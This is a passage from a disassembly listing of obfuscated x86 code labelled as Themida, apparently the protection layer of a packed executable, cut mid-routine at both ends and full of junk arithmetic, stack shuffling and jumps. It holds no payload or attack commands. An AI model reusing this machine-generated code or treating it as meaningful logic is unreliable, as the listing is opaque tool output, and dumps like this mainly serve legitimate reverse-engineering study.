		add	eax, 3BDA60FBh
		add	eax, ebp
		sub	eax, 3BDA60FBh
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5AC7C2
; ---------------------------------------------------------------------------


loc_5A9E17:				; CODE XREF: Themida_:005AA901j
		push	ecx
		mov	ecx, 5CB513A3h
		mov	ebx, ecx
		jmp	loc_5A1AA9
; ---------------------------------------------------------------------------


loc_5A9E24:				; CODE XREF: Themida_:005AAEF4j
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		jmp	loc_5AE9C7
; ---------------------------------------------------------------------------


loc_5A9E31:				; CODE XREF: Themida_:0059B7E4j
		push	ecx
		mov	cl, 0CDh
		mov	dl, cl
		pop	ecx
		add	dl, 9
		or	dl, 55h
		push	eax
		mov	al, 3Eh
		xor	dl, al
		pop	eax
		sub	al, dl
		pop	edx
		sub	al, 93h
		pop	ecx
		mov	cx, [esp]
		jmp	loc_59D31F
; ---------------------------------------------------------------------------


loc_5A9E52:				; CODE XREF: Themida_:00598E40j
		xor	esi, 0E979A08Bh
		add	ebx, esi
		pop	esi
		add	ebx, edi
		sub	ebx, 2CF9209Ah
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 4A890CEAh
		xor	ebp, 58CC2D4Fh
		or	ebp, 2E9A0315h
		inc	ebp
		not	ebp
		sub	ebp, 0C120DC45h
		mov	esi, ebp
		jmp	loc_5A96EE
; ---------------------------------------------------------------------------


loc_5A9E95:				; CODE XREF: Themida_:005A88D6j
		sub	edi, ecx
		jmp	loc_5A68BA
; ---------------------------------------------------------------------------


loc_5A9E9C:				; CODE XREF: Themida_:0059A60Aj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5AD435
; ---------------------------------------------------------------------------


loc_5A9EA7:				; CODE XREF: Themida_:005ACF88j
		mov	ebp, 317E7D49h
		sub	esp, 4
		mov	[esp], ebp
		add	dword ptr [esp], 0FFFFFFFFh
		jmp	loc_598CDF
; ---------------------------------------------------------------------------


loc_5A9EC1:				; CODE XREF: Themida_:005A331Fj
		mov	edx, edi
		pop	edi
		pop	esi
		add	[esp+8], edx
		pop	edx
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 1C6E2218h
		pop	ebp
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A9EDC:				; CODE XREF: Themida_:0059C830j
					; Themida_:005AC524j
		mov	edx, 473019Ah
		not	edx
		and	edx, 0BB819AEh
		sub	edx, 771D4890h
		sub	edx, 0B4A82C7Ch
		sub	ebx, edx
		jmp	loc_5A1B43
; ---------------------------------------------------------------------------


loc_5A9EFC:				; CODE XREF: Themida_:005A7D1Fj
		push	ebp
		push	eax
		mov	eax, 4
		mov	ebp, eax
		jmp	loc_5ADCAF
; ---------------------------------------------------------------------------


loc_5A9F0A:				; CODE XREF: Themida_:0059A29Aj
		mov	ecx, [esp]
		jmp	loc_59F4E4
; ---------------------------------------------------------------------------


loc_5A9F12:				; CODE XREF: Themida_:005A9A58j
		add	edx, edi
		pop	edi
		jmp	loc_5A6A6C
; ---------------------------------------------------------------------------


loc_5A9F1A:				; CODE XREF: Themida_:005A79C2j
		mov	esp, [esp]
		mov	[esp], edx
		push	edx
		mov	edx, 0B0A45C8h
		add	[esp+4], edx
		pop	edx
		pop	dword ptr [edi+20h]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_59D59C
; ---------------------------------------------------------------------------


loc_5A9F3F:				; CODE XREF: Themida_:005A1ED6j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5A6D91
; ---------------------------------------------------------------------------


loc_5A9F4A:				; CODE XREF: Themida_:005A9F95j
		mov	[esp], ebp
		mov	ebp, 787B0407h
		add	esi, ebp
		pop	ebp
		jmp	loc_5A46DC
; ---------------------------------------------------------------------------


loc_5A9F5A:				; CODE XREF: Themida_:005993F7j
		add	esi, 3C21517Bh
		sub	esi, 3D24349Bh
		pop	eax
		jmp	loc_59C123
; ---------------------------------------------------------------------------


loc_5A9F6C:				; CODE XREF: Themida_:005A8829j
		mov	[esp], ecx
		mov	ecx, 0
		sub	ecx, esi
		mov	esi, ecx
		pop	ecx
		push	0
		sub	dword ptr [esp], 337C1AD3h
		sub	[esp], esi
		add	dword ptr [esp], 337C1AD3h
		pop	esi
		push	9E5h
		jmp	loc_5A9F4A
; ---------------------------------------------------------------------------


loc_5A9F9A:				; CODE XREF: Themida_:005A3B81j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	edx, 62DC2479h
		shr	edx, 4
		add	edx, 46795485h
		xor	eax, edx
		jmp	loc_5AFDD7
; ---------------------------------------------------------------------------


loc_5A9FBA:				; CODE XREF: Themida_:00599D3Bj
		mov	edi, [esp]
		add	esp, 4
		mov	esi, 0A0327FF7h
		sub	esi, edi
		jmp	loc_5A63C1
; ---------------------------------------------------------------------------


loc_5A9FCF:				; CODE XREF: Themida_:005A80CAj
		inc	ch
		add	ch, 0C1h
		mov	dl, ch
		jmp	loc_5A090D
; ---------------------------------------------------------------------------


loc_5A9FDB:				; CODE XREF: Themida_:0059EF5Fj
		sub	ebp, ecx
		add	ebp, 37747F73h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5ACD23
; ---------------------------------------------------------------------------


loc_5A9FF7:				; CODE XREF: Themida_:0059BA3Cj
		mov	[esp], eax
		mov	eax, 31BA6796h
		xor	eax, 31BA6792h
		jmp	loc_59E030
; ---------------------------------------------------------------------------


loc_5AA009:				; CODE XREF: Themida_:005A0977j
		push	ebx
		jmp	loc_5AAB2A
; ---------------------------------------------------------------------------


loc_5AA00F:				; CODE XREF: Themida_:005A714Dj
		jnb	loc_5AEEF1
		and	ebx, 0E02D7Dh
		jnp	loc_5A9810


loc_5AA021:				; CODE XREF: Themida_:loc_5AF76Ej
		xor	edi, 398B7D17h
		add	edi, 1B34CFB9h
		jmp	loc_5ADF81
; ---------------------------------------------------------------------------


loc_5AA032:				; CODE XREF: Themida_:005AF262j
		mov	esp, [esp]
		jmp	loc_5A4934
; ---------------------------------------------------------------------------


loc_5AA03A:				; CODE XREF: Themida_:005992E3j
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edi, 3B1C27E7h
		jmp	loc_5AEE77
; ---------------------------------------------------------------------------


loc_5AA04C:				; CODE XREF: Themida_:005A73B9j
		pop	ebx
		mov	ch, ah
		pop	eax
		pop	edx
		pop	ebx
		xor	al, ch
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		jmp	loc_59F429
; ---------------------------------------------------------------------------


loc_5AA069:				; CODE XREF: Themida_:0059E3D2j
		mov	ebp, 4
		add	[esp+4], ebp
		mov	ebp, [esp]
		jmp	loc_5AE599
; ---------------------------------------------------------------------------


loc_5AA07A:				; CODE XREF: Themida_:005ADACDj
		push	ebx
		mov	ebx, 7FF00BFBh
		inc	ebx
		add	ebx, 1
		neg	ebx
		add	ebx, 7F163300h
		or	ebx, 1DD73877h
		add	ebx, 56B7D664h
		sub	edi, 1E24506Bh
		jmp	loc_5AA87F
; ---------------------------------------------------------------------------


loc_5AA0A3:				; CODE XREF: Themida_:005AB855j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shl	bx, 3
		push	bp
		push	small 79C2h
		pop	bp
		xor	bx, bp
		jmp	loc_5993FC
; ---------------------------------------------------------------------------


loc_5AA0BE:				; CODE XREF: Themida_:005ABFC7j
		pop	ebp
		xor	eax, ebp
		mov	ebp, [esp]
		push	582Bh
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5A06D5
; ---------------------------------------------------------------------------


loc_5AA0D8:				; CODE XREF: Themida_:005A2000j
		mov	esi, esp
		add	esi, 4
		push	ecx
		push	esi
		jmp	loc_5A2308
; ---------------------------------------------------------------------------


loc_5AA0E7:				; CODE XREF: Themida_:005AD31Ej
		jmp	loc_5A1CDB
; ---------------------------------------------------------------------------


loc_5AA0EC:				; CODE XREF: Themida_:005A1641j
		push	ebx
		jmp	loc_5A6B94
; ---------------------------------------------------------------------------


loc_5AA0F2:				; CODE XREF: Themida_:005A7501j
		jmp	loc_5A9810
; ---------------------------------------------------------------------------


loc_5AA0F7:				; CODE XREF: Themida_:005A3C7Dj
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5A8B1F
; ---------------------------------------------------------------------------


loc_5AA102:				; CODE XREF: Themida_:0059D9F7j
		shr	edx, 7
		add	edx, 6C6FCB37h
		mov	ebx, edx
		pop	edx
		and	ebx, 324D0FDEh
		shl	ebx, 1
		or	ebx, 9A17DD0h
		neg	ebx
		jmp	loc_59F49F
; ---------------------------------------------------------------------------


loc_5AA123:				; CODE XREF: Themida_:0059E1FDj
		mov	edi, 0ED8DD2CFh
		add	edx, edi
		pop	edi
		sub	edi, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_59C108
; ---------------------------------------------------------------------------


loc_5AA138:				; CODE XREF: Themida_:00598A67j
		push	541B7C69h
		pop	eax
		not	eax
		or	eax, 202B53E6h
		jbe	loc_5ACB2F
		xor	eax, 5F273921h
		jmp	loc_5A6DC2
; ---------------------------------------------------------------------------


loc_5AA155:				; CODE XREF: Themida_:0059E50Dj
		mov	ecx, 18FD689Bh
		mov	ebx, ecx
		jmp	loc_5AABB1
; ---------------------------------------------------------------------------


loc_5AA161:				; CODE XREF: Themida_:005AE786j
		mov	eax, 0FF95AD5Fh
		jmp	loc_5ABCE0
; ---------------------------------------------------------------------------


loc_5AA16B:				; CODE XREF: Themida_:0059E145j
		push	ebp
		jmp	loc_5AFD00
; ---------------------------------------------------------------------------


loc_5AA171:				; CODE XREF: Themida_:005A9671j
		add	edi, 39C09D25h
		sub	esp, 4
		mov	[esp], edi
		xor	dword ptr [esp], 248E675Ah
		jmp	loc_59B87A
; ---------------------------------------------------------------------------


loc_5AA189:				; CODE XREF: Themida_:0059E0F5j
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		jmp	loc_5A51B8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esp, 4
		jmp	loc_59B532
; ---------------------------------------------------------------------------


loc_5AA1AC:				; CODE XREF: Themida_:0059FDD1j
		mov	ebx, 51CE2391h
		inc	ebx
		not	ebx
		xor	ebx, 0AE31DC6Fh
		sub	edi, 150F06D8h
		add	edi, ebx
		add	edi, 150F06D8h
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_599A46
; ---------------------------------------------------------------------------


loc_5AA1D7:				; CODE XREF: Themida_:0059F210j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	376Bh
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_598E03
; ---------------------------------------------------------------------------


loc_5AA1F2:				; CODE XREF: Themida_:005A3A3Bj
		xor	al, 61h
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 70h
		xor	dl, 0EBh
		dec	dl
		sub	dl, 0CEh
		sub	al, dl
		pop	edx
		jmp	loc_5A1830
; ---------------------------------------------------------------------------


loc_5AA20F:				; CODE XREF: Themida_:00599DDCj
		sub	edi, edx
		pop	edx
		add	edi, ebp
		add	edi, 378805E5h
		jmp	loc_5A5027
; ---------------------------------------------------------------------------


loc_5AA21F:				; CODE XREF: Themida_:0059AA03j
		mov	edx, 42750240h
		sub	esi, edx
		pop	edx
		pop	ecx
		jmp	loc_5A10DF
; ---------------------------------------------------------------------------


loc_5AA22D:				; CODE XREF: Themida_:0059E637j
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AA24C:				; CODE XREF: Themida_:005A4392j
					; Themida_:005AB528j
		push	edi
		mov	edi, esp
		jmp	loc_59A67A
; ---------------------------------------------------------------------------


loc_5AA254:				; CODE XREF: Themida_:005A5573j
		add	ebp, eax
		jmp	loc_59EFCC
; ---------------------------------------------------------------------------


loc_5AA25B:				; CODE XREF: Themida_:005AD046j
		mov	edx, 73BD33B6h
		push	esi
		mov	esi, 7CA60EBFh
		add	edx, esi
		jmp	loc_5994DC
; ---------------------------------------------------------------------------


loc_5AA26D:				; CODE XREF: Themida_:005AE93Cj
		add	ebx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_5A60A8
; ---------------------------------------------------------------------------


loc_5AA27A:				; CODE XREF: Themida_:00599E9Aj
		pop	ebp
		jmp	loc_5AC9E0
; ---------------------------------------------------------------------------


loc_5AA280:				; CODE XREF: Themida_:0059C812j
		mov	edi, 218A30A7h
		and	edi, 5E6D1CC1h
		xor	edi, 7A176B93h
		sub	eax, edi
		pop	edi
		xor	eax, 85A37F3Ah
		add	esi, eax
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5AF6C8
; ---------------------------------------------------------------------------


loc_5AA2A5:				; CODE XREF: Themida_:005AA3E2j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59FC8B
; ---------------------------------------------------------------------------


loc_5AA2AE:				; CODE XREF: Themida_:005A2A11j
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_5A6F54
; ---------------------------------------------------------------------------


loc_5AA2CA:				; CODE XREF: Themida_:005AD780j
		pop	dword ptr [esp]
		jmp	loc_5A5D2E
; ---------------------------------------------------------------------------


loc_5AA2D2:				; CODE XREF: Themida_:005997FAj
		pop	ebx
		push	esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		xchg	edi, [esp]
		jmp	loc_59DC36
; ---------------------------------------------------------------------------


loc_5AA2E4:				; CODE XREF: Themida_:005AEECFj
		push	esp
		jmp	loc_5AFD0E
; ---------------------------------------------------------------------------


loc_5AA2EA:				; CODE XREF: Themida_:0059962Ej
		sub	ebp, 0B4EDC1A2h
		mov	ebx, ebp
		pop	ebp
		sub	ebp, 980519Ch
		sub	ebp, ebx
		add	ebp, 980519Ch
		pop	ebx
		sub	ebp, 473B51B6h
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5AC20C
; ---------------------------------------------------------------------------


loc_5AA316:				; CODE XREF: Themida_:005A4AD7j
		pop	ebp
		jmp	loc_59A113
; ---------------------------------------------------------------------------


loc_5AA31C:				; CODE XREF: Themida_:005A97C5j
		add	ebx, 3BED5547h
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5AD49B
; ---------------------------------------------------------------------------


loc_5AA345:				; CODE XREF: Themida_:005A92BDj
		mov	ebp, eax
		jmp	loc_5A6BCD
; ---------------------------------------------------------------------------


loc_5AA34C:				; CODE XREF: Themida_:005AA482j
					; Themida_:005AE3C3j
		sub	[esp+4], eax
		jmp	loc_5996A7
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AA365:				; CODE XREF: Themida_:005ACB97j
		mov	ebp, 2
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_598EA3
; ---------------------------------------------------------------------------


loc_5AA374:				; CODE XREF: Themida_:005A1958j
		sub	bl, 8Bh
		sub	bl, dh
		add	bl, 8Bh
		push	0F6Ch
		mov	[esp], ecx
		mov	ch, 0Eh
		push	bx
		jmp	loc_5A2368
; ---------------------------------------------------------------------------


loc_5AA38D:				; CODE XREF: Themida_:0059F704j
		push	bx
		not	byte ptr [esp+1]
		pop	bx
		jmp	loc_59F85B
; ---------------------------------------------------------------------------


loc_5AA39A:				; CODE XREF: Themida_:005AB49Fj
		mov	edi, 585F0899h
		shl	edi, 8
		jmp	loc_59B9B1
; ---------------------------------------------------------------------------


loc_5AA3A7:				; CODE XREF: Themida_:0059B912j
		xor	esi, ebp
		pop	ebp
		inc	esi
		jmp	loc_5AF096
; ---------------------------------------------------------------------------


loc_5AA3B0:				; CODE XREF: Themida_:005A0B8Dj
		not	ecx
		xor	ecx, 36840449h
		jmp	loc_59E580
; ---------------------------------------------------------------------------


loc_5AA3BD:				; CODE XREF: Themida_:005AD5D6j
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2CEE1710h
		shr	ebp, 5
		jmp	loc_5AEF57
; ---------------------------------------------------------------------------


loc_5AA3D4:				; CODE XREF: Themida_:0059FC86j
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_5AA2A5
; ---------------------------------------------------------------------------


loc_5AA3E7:				; CODE XREF: Themida_:005A4D18j
		sub	bh, 84h
		add	al, bh
		pop	ebx
		mov	ebx, [esp]
		jmp	loc_5AB2DA
; ---------------------------------------------------------------------------


loc_5AA3F5:				; CODE XREF: Themida_:005A0BFDj
		push	eax
		mov	eax, 4B08137Ch
		add	eax, 0FFFFFFFFh
		jmp	loc_59C274
; ---------------------------------------------------------------------------


loc_5AA405:				; CODE XREF: Themida_:005A34DDj
		pop	ebx
		add	edx, 0F19BB041h
		sub	ebx, edx
		pop	edx
		shl	ebx, 4
		jnz	loc_5AFA95
		sub	ebx, 6671B7ACh
		mov	ebp, ebx
		pop	ebx
		add	edi, ebp


loc_5AA423:				; CODE XREF: Themida_:005A0802j
		pop	edi
		push	5BC3h
		mov	[esp], edx
		jmp	loc_5A16EC
; ---------------------------------------------------------------------------


loc_5AA431:				; CODE XREF: Themida_:005A0DA3j
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		push	25FA104Ch
		jmp	loc_59A411
; ---------------------------------------------------------------------------


loc_5AA448:				; CODE XREF: Themida_:005A5339j
		mov	eax, 30F75CC4h
		xor	eax, 4391D36h
		sub	ebx, eax
		pop	eax
		push	edi
		mov	edi, 62355DC2h
		add	ebx, edi
		pop	edi
		add	ebx, edx
		push	78B6h
		mov	[esp], eax
		jmp	loc_5ABDBE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5A95D7
; ---------------------------------------------------------------------------


loc_5AA475:				; CODE XREF: Themida_:005A336Bj
		sub	eax, 0DBEB17D1h
		sub	dword ptr [esp+4], 68EE430Ch
		jmp	loc_5AA34C
; ---------------------------------------------------------------------------


loc_5AA487:				; CODE XREF: Themida_:loc_5AE9A0j
		shr	eax, 5
		push	edi
		jmp	loc_5AE1FB
; ---------------------------------------------------------------------------


loc_5AA490:				; CODE XREF: Themida_:005AE37Bj
		push	edi
		mov	edi, 60D26C0Ch
		push	ebp
		jmp	loc_5A478D
; ---------------------------------------------------------------------------


loc_5AA49C:				; CODE XREF: Themida_:005ADCD5j
		pop	edx
		push	4619h
		mov	[esp], ebx
		mov	ebx, 374F7382h
		jmp	loc_5AD440
; ---------------------------------------------------------------------------


loc_5AA4AF:				; CODE XREF: Themida_:005AF74Ej
		add	esp, 4
		dec	edi
		or	edi, 6FC76684h
		sub	edi, 349035EFh
		xor	edi, 5B344B90h
		jmp	loc_5ACA97
; ---------------------------------------------------------------------------


loc_5AA4CA:				; CODE XREF: Themida_:0059EB8Fj
					; Themida_:005A17A7j
		pop	edx
		push	ax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A24DB
; ---------------------------------------------------------------------------


loc_5AA4DB:				; CODE XREF: Themida_:loc_5A5E1Cj
		or	bl, 9Ch
		jmp	loc_5ABBF5
; ---------------------------------------------------------------------------


loc_5AA4E3:				; CODE XREF: Themida_:0059C5B2j
		sub	esp, 2
		mov	[esp], dx
		mov	dx, 15E8h
		jmp	loc_5AEDFC
; ---------------------------------------------------------------------------


loc_5AA4F3:				; CODE XREF: Themida_:005AC658j
		sub	esi, 3F4B2D51h
		add	esi, ecx
		add	esi, 3F4B2D51h
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3E3A3825h
		sub	edx, 2C92703Bh
		push	0
		sub	[esp], edx
		jmp	loc_59BF1D
; ---------------------------------------------------------------------------


loc_5AA527:				; CODE XREF: Themida_:0059B818j
		sub	eax, 46272752h
		jnz	loc_5993A8
		add	eax, 0FD32F44Bh
		mov	ecx, eax
		pop	eax
		push	esi
		mov	dh, ah
		push	edi


loc_5AA53E:				; CODE XREF: Themida_:loc_59A550j
		inc	edi
		xor	edi, 2F753999h
		ja	loc_5A45D5
		sub	edi, 280B4690h
		jmp	loc_5A5F0D
; ---------------------------------------------------------------------------
		mov	dh, cl
		mov	bh, ch


loc_5AA55A:				; CODE XREF: Themida_:0059DC31j
		xor	ebx, 60FBEDC3h
		sub	edx, ebx
		pop	ebx
		push	dword ptr [edx]
		mov	ecx, [esp]
		jmp	loc_5A33B3
; ---------------------------------------------------------------------------


loc_5AA56D:				; CODE XREF: Themida_:0059D095j
		mov	esi, eax
		pop	eax
		add	edx, esi
		pop	esi
		jmp	loc_5A6625
; ---------------------------------------------------------------------------


loc_5AA578:				; CODE XREF: Themida_:005AD7A4j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		pop	edi
		not	edi
		push	7081h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		pop	eax
		push	dword ptr [esp]
		jmp	loc_599E59
; ---------------------------------------------------------------------------


loc_5AA59E:				; CODE XREF: Themida_:005A101Aj
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_59E708
; ---------------------------------------------------------------------------


loc_5AA5A8:				; CODE XREF: Themida_:005AC84Fj
		or	esi, edx
		pop	edx
		push	eax
		mov	eax, 6CB520E1h
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		not	esi
		jmp	loc_5AE9AB
; ---------------------------------------------------------------------------


loc_5AA5C0:				; CODE XREF: Themida_:005A768Ej
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AA5C5:				; CODE XREF: Themida_:0059CC46j
		add	edx, 23386CC0h
		add	edx, 462D760Eh
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 14326AF4h
		push	esi
		not	dword ptr [esp]
		pop	esi
		xchg	edx, esi
		neg	edx
		push	esi
		push	edx
		mov	esi, [esp]
		add	esp, 4
		pop	edx
		add	esi, 2AB65F7Ah
		xor	esi, 3EE8CA6Dh
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AA60D:				; CODE XREF: Themida_:005A5418j
		push	ebx
		jmp	loc_5AB965
; ---------------------------------------------------------------------------


loc_5AA613:				; CODE XREF: Themida_:0059C45Ej
		add	ebp, eax
		pop	eax
		jmp	loc_59C991
; ---------------------------------------------------------------------------


loc_5AA61B:				; CODE XREF: Themida_:0059F919j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		push	175Dh
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_5A5735
; ---------------------------------------------------------------------------


loc_5AA64D:				; CODE XREF: Themida_:0059F02Bj
		pop	esp
		jmp	loc_5A189E
; ---------------------------------------------------------------------------


loc_5AA653:				; CODE XREF: Themida_:005A30F4j
		mov	esp, [esp]
		jmp	loc_5A120C
; ---------------------------------------------------------------------------


loc_5AA65B:				; CODE XREF: Themida_:005ABAFDj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		div	cx
		push	3596h
		jmp	loc_59F9D4
; ---------------------------------------------------------------------------


loc_5AA671:				; CODE XREF: Themida_:005A2328j
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_5A9C14
; ---------------------------------------------------------------------------


loc_5AA680:				; CODE XREF: Themida_:005AACDFj
		pop	ecx
		inc	esi
		jmp	loc_59DBAA
; ---------------------------------------------------------------------------


loc_5AA687:				; CODE XREF: Themida_:005A80B9j
		push	ebp
		mov	ebp, 18463CAAh
		add	ebp, 4AE42C31h
		add	ebp, 0F12DE039h
		add	edi, ebp
		pop	ebp
		sub	eax, edi
		jmp	loc_599A12
; ---------------------------------------------------------------------------


loc_5AA6A3:				; CODE XREF: Themida_:005AD083j
		jnp	loc_5A277A
		xor	edx, 4AE42521h
		not	edx
		shl	edx, 6
		sub	edx, 1CBEF780h
		sub	edx, esi
		mov	esi, edx
		jmp	loc_5AFA83
; ---------------------------------------------------------------------------


loc_5AA6C3:				; CODE XREF: Themida_:005A7C85j
		pop	dword ptr [esp]
		jmp	loc_5AD769
; ---------------------------------------------------------------------------


loc_5AA6CB:				; CODE XREF: Themida_:0059F5AEj
		pop	ecx
		add	ebp, 0C1C88441h
		or	[edi+1Ch], ebp
		pop	ebp
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AA6DB:				; CODE XREF: Themida_:00599AC2j
		sub	esi, 32C510B9h
		add	esi, edx
		add	esi, 32C510B9h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_59F296
; ---------------------------------------------------------------------------


loc_5AA6F8:				; CODE XREF: Themida_:0059B04Aj
		shr	cl, 1
		shl	cl, 1
		shl	cl, 5
		jmp	loc_5A237E
; ---------------------------------------------------------------------------


loc_5AA704:				; CODE XREF: Themida_:005A54C3j
		mov	ebp, 32A6182Ah
		jmp	loc_59D67B
; ---------------------------------------------------------------------------


loc_5AA70E:				; CODE XREF: Themida_:0059B72Dj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A9DC6
; ---------------------------------------------------------------------------


loc_5AA717:				; CODE XREF: Themida_:005A68E3j
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5992F1
; ---------------------------------------------------------------------------


loc_5AA726:				; CODE XREF: Themida_:005A01E4j
		inc	esi
		add	esi, 0DAAFBC01h
		jmp	loc_59D1D5
; ---------------------------------------------------------------------------


loc_5AA732:				; CODE XREF: Themida_:005AC35Bj
		pop	ebp
		add	ebp, 35836ECFh
		pop	ebx
		push	eax
		jmp	loc_59D829
; ---------------------------------------------------------------------------


loc_5AA740:				; CODE XREF: Themida_:0059B323j
		pop	ebp
		add	esi, 64026243h
		pop	ecx
		sub	esi, 0EFB6BEEAh
		sub	ebx, esi
		pop	esi
		sub	ebx, 0E6FF6A4h
		add	esi, ebx
		pop	ebx
		shl	esi, 8
		sub	esi, 0AB2CF92Ch
		jmp	loc_59EBD3
; ---------------------------------------------------------------------------


loc_5AA768:				; CODE XREF: Themida_:005A2B4Cj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59D930
; ---------------------------------------------------------------------------


loc_5AA779:				; CODE XREF: Themida_:005AF53Fj
		mov	[esp], ebp
		jmp	loc_59F1E4
; ---------------------------------------------------------------------------


loc_5AA781:				; CODE XREF: Themida_:0059BC58j
		push	5D27h
		mov	[esp], ecx
		jmp	loc_5A0763
; ---------------------------------------------------------------------------


loc_5AA78E:				; CODE XREF: Themida_:005A74F2j
		mov	eax, 4C302072h
		sub	eax, 1F2E2BBDh
		inc	eax
		sub	eax, 275377D4h
		add	eax, 0CD8205A6h
		xor	esi, eax
		pop	eax
		mov	ebp, esi
		pop	esi
		jmp	loc_5AE422
; ---------------------------------------------------------------------------


loc_5AA7AE:				; CODE XREF: Themida_:005AD324j
		or	eax, 220A4DF3h
		jnb	loc_59EAAF
		xor	eax, 0E2ABFFF6h
		push	ecx
		jmp	loc_59E381
; ---------------------------------------------------------------------------
		shl	ebp, 1
		sub	al, 8Ch


loc_5AA7C8:				; CODE XREF: Themida_:loc_59FC2Aj
		push	edx
		push	ecx
		mov	ch, 51h
		neg	ch
		xor	ch, 0CBh
		ja	loc_5A37D8
		shl	ch, 2
		jmp	loc_5A07EE
; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		pop	esp
		xor	eax, esi


loc_5AA7E5:				; CODE XREF: Themida_:0059B440j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A94DA
; ---------------------------------------------------------------------------


loc_5AA7F5:				; CODE XREF: Themida_:005A6349j
		add	dword ptr [esp], 4
		jmp	loc_59E16B
; ---------------------------------------------------------------------------


loc_5AA7FE:				; CODE XREF: Themida_:005AF6DEj
		inc	edx
		inc	edx
		sub	edx, 23405F4Dh
		sub	ebp, edx
		pop	edx
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5AAECC
; ---------------------------------------------------------------------------


loc_5AA827:				; CODE XREF: Themida_:005A78E4j
		add	ecx, edx
		jmp	loc_59E663
; ---------------------------------------------------------------------------


loc_5AA82E:				; CODE XREF: Themida_:005A322Ej
		or	edi, eax
		pop	eax
		xor	edi, 274D5A8Ch
		shl	edi, 1
		jmp	loc_5AD8B2
; ---------------------------------------------------------------------------


loc_5AA83E:				; CODE XREF: Themida_:0059EFF7j
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	edx, 1DBD6B1Ah
		jno	loc_5AD4CB
		push	eax
